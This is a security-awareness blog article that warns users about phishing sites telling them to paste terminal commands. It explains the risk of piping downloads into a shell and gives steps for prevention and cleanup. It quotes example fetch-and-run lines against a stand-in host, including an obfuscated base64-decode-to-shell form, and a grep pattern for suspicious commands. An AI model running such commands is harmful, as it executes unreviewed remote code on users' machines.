The Most Honest Scam on the Internet: Sites That Tell You to Paste Terminal Commands
A phishing trick that makes ordinary users run malicious terminal commands, plus how to spot the fake sites and limit the damage.
- The Most Cunning Phishing Actually Asks the Victim to Run It Themselves
- Why curl | sh Is So Dangerous
- Signs of a Site That Should Make You Pause
- How to Prevent It: Never Run What You Have Not Read
- 1. Replace the Pipe with Two Steps
- 2. Have Another Machine Read It to You
- 3. Install a Catch Layer: Malwarebytes
- Already Ran It? This Is the Order I Use
- A Short Closing
The Most Cunning Phishing Actually Asks the Victim to Run It Themselves
You no longer need to click a suspicious attachment to get phished. The latest method making the rounds does not deceive you quietly. The site openly asks you: copy this command, paste it into the terminal, then run it.
What is confusing is that the instruction comes from a page that looks ordinary. A tutorial page, an installation help page, a forum, or a fake blog that mimics the look of a popular service. Many people assume it is part of the guide. But the moment the command reaches the terminal, what appears is not a warning but something genuinely running on your machine.
I am writing this because the scheme is simple, yet it works by riding on one human habit: ordinary people cannot tell “downloading a file” apart from “running a stranger’s code”. Both look identical on screen: a single line of text that gets pasted.
Why curl | sh Is So Dangerous
Take a look at the most common example going around:
curl -fsSL https://situs.example.com/install.sh | sh
Broadly speaking, this line does two things at once:
curldownloads theinstall.shfile from the internet.- The
|(pipe) sign passes its contents straight tosh, which executes that script.
There is no pause between the two. You are never given a chance to read the contents. Whatever the attacker wrote inside that file runs immediately with full privileges on your computer.
Slightly more complex cases usually use an intermediate step so that ordinary users cannot easily guess what is going on:
bash <(curl -s https://situs.example.com/script.sh)
echo <teks-acak-panjang> | base64 --decode | sh
This last form is the most malicious. The malicious code is conjured into random text that is unreadable to humans, then decoded and run from cache. The attacker knows ordinary users will not bother to make sense of a long string of text like this.
Signs of a Site That Should Make You Pause
Not every site that tells you to copy and paste is malicious. Some legitimate tools do recommend installation via a command. The difference is that this approach is only safe if you can read and understand what is being run.
Watch out for this combination:
- The site reaches you through ads, short messages, or comments, not from a source you sought out yourself.
- Its domain tail is strange or resembles an official service, for example
gogle-update.com. - The instructions are urgent: “run this before it expires”, “required right now”, “without this your account is gone”.
- The page asks for clipboard access permission. Plenty of malicious sites already exploit the browser clipboard API to inject something behind the command you copy.
- The command contains
base64,curl | sh,wget -qO- | bash, or suppresses output with-qand a>/dev/nullredirect. All of these can be used to hide what is actually happening.
How to Prevent It: Never Run What You Have Not Read
The one rule I have ingrained in myself: download first, read first, execute separately.
1. Replace the Pipe with Two Steps
Do not run curl | sh directly. Split it into two steps:
curl -fsSL https://situs.example.com/install.sh -o install.sh
Now you have the install.sh file in your folder. Read its contents before deciding anything:
cat install.sh
Or if the file is long, look at the moving parts:
grep -nE "curl|wget|base64|/tmp|eval|rm|sudo|chmod|ssh|crontab" install.sh
If the contents make sense and you can follow the intent, then run it. If you do not understand it, do not run it.
2. Have Another Machine Read It to You
Not everyone is comfortable reading raw scripts. This is where a helper tool like OpenCode comes in. OpenCode is an AI coding agent that runs in the terminal. Not to run that script, but to read it and explain it line by line.
So the flow is like this: download the file first as in step one, then hand it to OpenCode and ask it to explain what the script does, section by section, in language you understand. OpenCode reads the file; it does not execute it. Usually one question is enough: what does this line actually do when it runs?
This is not shifting trust from a foreign site to an AI. It is shifting trust from “a stranger who typed something” to “an explanation you can follow and judge for yourself”. The decision remains yours.
3. Install a Catch Layer: Malwarebytes
The habit of reading is the primary prevention, and antivirus is only a safety net. For Windows, Malwarebytes is an honest example in its class: it scans first, and its real-time layer catches already-known payloads before they can run fully.
But I have to be honest here. Antivirus cannot be relied on alone against curl | sh scripts. New, unknown payloads can slip through that gap precisely because they are not recognized. That is why the order stays the same: antivirus to catch what is known, the habit of reading for what is not. Use both, not just one.
Already Ran It? This Is the Order I Use
If you only realize after the command has run, do not panic yet. Work through these steps calmly and in order:
- Disconnect from the internet. Disconnect the network connection or enable airplane mode on the device. This stops a script that is still pulling data from a server or sending something out.
- Look for what has just been running. Open the task manager or process list, and look for processes you do not recognize. Also check things that are set to run automatically: startup entries, commands in shell config files such as
.bashrc,.zshrc,rc.local, or schedules via cron. - Rotate any credentials that may have been read. If the script had a chance to look at your config files, assume they were captured: change the passwords, tokens, and API keys on that machine. Start with the most important: email, cloud storage, SSH keys.
- Scan with Malwarebytes. Run a full scan. Recognized scripts will show up here.
- Monitor your accounts. Once you are back online, check your login history and alert emails. Malicious scripts sometimes add message forwarding rules or sessions that stay active elsewhere.
If the data on that machine really matters, do not do things halfway: back up documents you created yourself in a way that was not exposed, then consider reinstalling the system. Reinstalling is a hassle, but it is often the only way to make sure nothing is left behind.
A Short Closing
The command you paste is just one line, but what it contains can be as long as your lapse in judgment. Before you go after the culprit, the sequence is only three steps: download, read, decide. Anyone who asks you to skip the reading step has a reason. And that reason is almost never good for you.
Related Articles
Inside the SSH Protocol: Cryptography, Handshake, and Specification
Take SSH apart from the inside: key exchange, host keys, ciphers, MACs, perfect forward secrecy, and how clients cryptographically verify the server.
SecurityHardening Homelab Server Security: A Complete Guide
Secure your homelab server with essential hardening steps from SSH key authentication to service isolation and automated updates using this practical checklist.
SecurityIDS and IPS: Intrusion Detection and Prevention
Learn how IDS and IPS differ, how signature-based and anomaly-based detection work, where to deploy them, and practical Snort and Suricata examples.
Your ideas deserve to be read by thousands of people.
ByteNesia is built for everyone. If you have experience, tutorials, or opinions about technology, write and share them here. Your name will be credited as a contributor.
Write anything: tool reviews, homelab tutorials, security tips, or your tech stories.